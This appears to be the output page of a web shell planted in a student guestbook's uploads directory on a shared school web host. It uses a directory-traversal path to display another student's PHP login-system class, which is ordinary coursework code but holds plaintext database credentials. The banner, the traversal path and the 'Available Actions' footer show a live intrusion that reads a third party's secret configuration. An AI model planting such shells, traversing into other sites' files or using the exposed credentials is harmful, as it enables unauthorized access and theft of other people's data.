🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../588742.klas4s23.mid-ica.nl/public_html/Login_Systeem/classes/database.php

<?php

// In deze class in de connect() methode reeds gemaakt. Maak de login() methode af en
// gebruik deze om overige SQL queries uit te voeren.

class database
{
    private static $conn;
    public static $error;

    public static function connect()
    {
        $servernaam = "localhost";
        $dbname = "login_pvb_2024";
        $username = "login_pvb";
        $password = "login_pvb123";

        try {
            $conn = new \PDO("mysql:host=$servernaam;dbname=$dbname", $username, $password);
            $conn->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);
            self::$conn = $conn;
        } catch (\PDOException $e) {
            self::$error = $e->getMessage();
            exit();
        }
    }

    /**
     * @param $username
     * @param $password
     * @return bool
     */

    public static function addUser($username, $password): bool
    {
        if (!isset(self::$conn)) {
            self::connect();
        }
        $result = false;
        try {
            $sql = 'INSERT INTO user (userid, username, password) VALUES (NULL, :param1, :param2);';

            $stmt = self::$conn->prepare($sql);
            $stmt->bindParam(':param1', $username);
            $hashedPass = password_hash($password, PASSWORD_DEFAULT);
            $stmt->bindParam(':param2', $hashedPass);
            $stmt->execute();
            $result = true;
        } catch (\PDOException $e) {
            self::$error = $e->getMessage();
        } finally {
            return $result;
        }
    }

    public static function loginUser($username, $password): bool
    {
        if (!isset(self::$conn)) {
            self::connect();
        }

        try {
            $sql = "SELECT userid, username, password FROM user WHERE username = :username";
            $stmt = self::$conn->prepare($sql);
            $stmt->bindParam(':username', $username);
            $stmt->execute();

            $result = $stmt->fetch();
            $rowCount = $stmt->rowCount();

            if ($rowCount <= 0) {
                self::$error = 'No user found';
                return false;
            }

            $databasePassword = $result['password'];

            if (password_verify($password, $databasePassword)) {
                session_start();
                $_SESSION['loggedIn'] = true;
                $_SESSION['userId'] = $result['userid'];
                $_SESSION['username'] = $result['username'];
                return true;
            } else {
                self::$error = 'Invalid password';
                return false;
            }
        } catch (\PDOException $e) {
            self::$error = $e->getMessage();
            return false;
        }
    }

    public static function showAllUsers(): string
    {
        if (!isset(self::$conn)) {
            self::connect();
        }

        try {
            $sql = "SELECT * FROM user";
            $stmt = self::$conn->prepare($sql);
            $stmt->execute();

            $users = $stmt->fetchAll(\PDO::FETCH_ASSOC);

            if (count($users) <= 0) {
                self::$error = 'No users found';
                return '<p>No users found.</p>';
            }

            $html = '<div>';
            $html .= '<table>';
            $html .= '<tr>';
            $html .= '<th></th>';
            $html .= '<th>Gebruikersnaam</th>';
            $html .= '<th>Postcode</th>';
            $html .= '<th>Huisnummer</th>';
            $html .= '<th>Woonplaats</th>';
            $html .= '</tr>';

            foreach ($users as $user) {
                $html .= '<tr>';
                $html .= '<td><a href="edit.php?userId=' . htmlspecialchars($user['userid']) . '"><i class="fas fa-edit"></i></a></td>';
                $html .= '<td>' . htmlspecialchars($user['username']) . '</td>';
                $html .= '<td>' . htmlspecialchars($user['postcode']) . '</td>';
                $html .= '<td>' . htmlspecialchars($user['huisnummer']) . '</td>';
                $html .= '<td>' . htmlspecialchars($user['woonplaats']) . '</td>';
                $html .= '</tr>';
            }

            $html .= '</table>';
            $html .= '</div>';

            return $html;
        } catch (\PDOException $e) {
            self::$error = $e->getMessage();
            return '<p>Error: ' . htmlspecialchars(self::$error) . '</p>';
        }
    }

    public static function update($newPostcode, $newHuisnummer, $newWoonplaats, $userId): bool
    {
        if (!isset(self::$conn)) {
            self::connect();
        }

        try {
            $sql = "UPDATE user SET postcode = :postcode, huisnummer = :huisnummer, woonplaats = :woonplaats WHERE userid = :userid";
            $stmt = self::$conn->prepare($sql);

            $stmt->bindParam(":postcode", $newPostcode);
            $stmt->bindParam(":huisnummer", $newHuisnummer);
            $stmt->bindParam(":woonplaats", $newWoonplaats);
            $stmt->bindParam(":userid", $userId);

            $stmt->execute();

            if ($stmt->rowCount() > 0) {
                return true;
            } else {
                return false;
            }
        } catch (\PDOException $e) {
            self::$error = $e->getMessage();
            return false;
        }
    }

    public static function updateUser()
    {
        if ($_SERVER['REQUEST_METHOD'] === "POST") {
            if (isset($_POST['userId'])) {
                $userId = htmlspecialchars($_POST['userId']);

                if (isset($_POST['Wijzig'])) {
                    $newPostcode = htmlspecialchars($_POST['postcode']);
                    $newHuisnummer = htmlspecialchars($_POST['huisnummer']);
                    $newWoonplaats = htmlspecialchars($_POST['woonplaats']);
                }

                database::connect();
                $success = database::update($newPostcode, $newHuisnummer, $newWoonplaats, $userId);

                if ($success) {
                    header("Location: index.php");
                    exit();
                } else {
                    echo 'Failed to update user.';
                }
            } else {
                echo 'Parameter missing';
            }
        }
    }

    public static function logout() {
        $_SESSION = array();
        session_destroy();

        header("Location: login.php");
        exit();
    }
}

🎯 Available Actions